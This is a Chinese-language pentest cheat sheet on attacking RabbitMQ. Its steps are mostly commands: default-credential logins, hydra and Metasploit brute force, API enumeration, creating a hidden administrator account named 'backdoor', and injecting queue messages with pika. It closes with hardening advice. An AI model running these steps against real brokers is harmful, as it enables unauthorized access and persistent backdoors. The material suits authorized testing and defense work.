5672/15672 - RabbitMQ 服务渗透测试
服务概述
RabbitMQ 是消息队列服务。默认凭据、管理界面暴露是主要安全问题。
默认端口: 5672 (AMQP), 15672 (Management)
危害等级: ⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script http-title -p 15672 TARGET
# 访问管理界面
curl http://TARGET:15672
# 输出:
# RabbitMQ Management
默认凭据
guest:guest (仅本地访问)
admin:admin
administrator:administrator
常见攻击手法
1. 默认凭据
原理: RabbitMQ 使用默认用户名密码。
利用:
# 测试默认凭据
curl -u guest:guest http://TARGET:15672/api/overview
# 如果成功,返回 JSON 数据
2. 暴力破解
利用:
# hydra
hydra -l guest -P rockyou.txt http-get://TARGET:15672/login
# 或使用 metasploit
use auxiliary/scanner/http/rabbitmq_login
set RHOSTS TARGET
run
3. 未授权访问 (旧版本)
原理: 旧版本 RabbitMQ 管理界面无认证。
利用:
# 访问 API
curl http://TARGET:15672/api/overview
# 列出用户
curl http://TARGET:15672/api/users
# 列出队列
curl http://TARGET:15672/api/queues
# 创建用户
curl -u guest:guest -X PUT http://TARGET:15672/api/users/backdoor \
-d '{"password":"backdoor123","tags":"administrator"}'
4. 消息注入
原理: 向队列发送恶意消息。
利用:
import pika
# 连接
credentials = pika.PlainCredentials('guest', 'guest')
connection = pika.BlockingConnection(
pika.ConnectionParameters(host='TARGET', credentials=credentials)
)
channel = connection.channel()
# 发送消息
channel.basic_publish(
exchange='',
routing_key='target_queue',
body='{"cmd": "malicious_payload"}'
)
防御建议
# 1. 修改默认凭据
rabbitmqctl change_password guest NEW_PASSWORD
# 2. 删除 guest 用户
rabbitmqctl delete_user guest
# 3. 创建新用户
rabbitmqctl add_user admin StrongPassword123!
rabbitmqctl set_user_tags admin administrator
# 4. 网络隔离
# 不暴露公网
# 防火墙限制访问
参考链接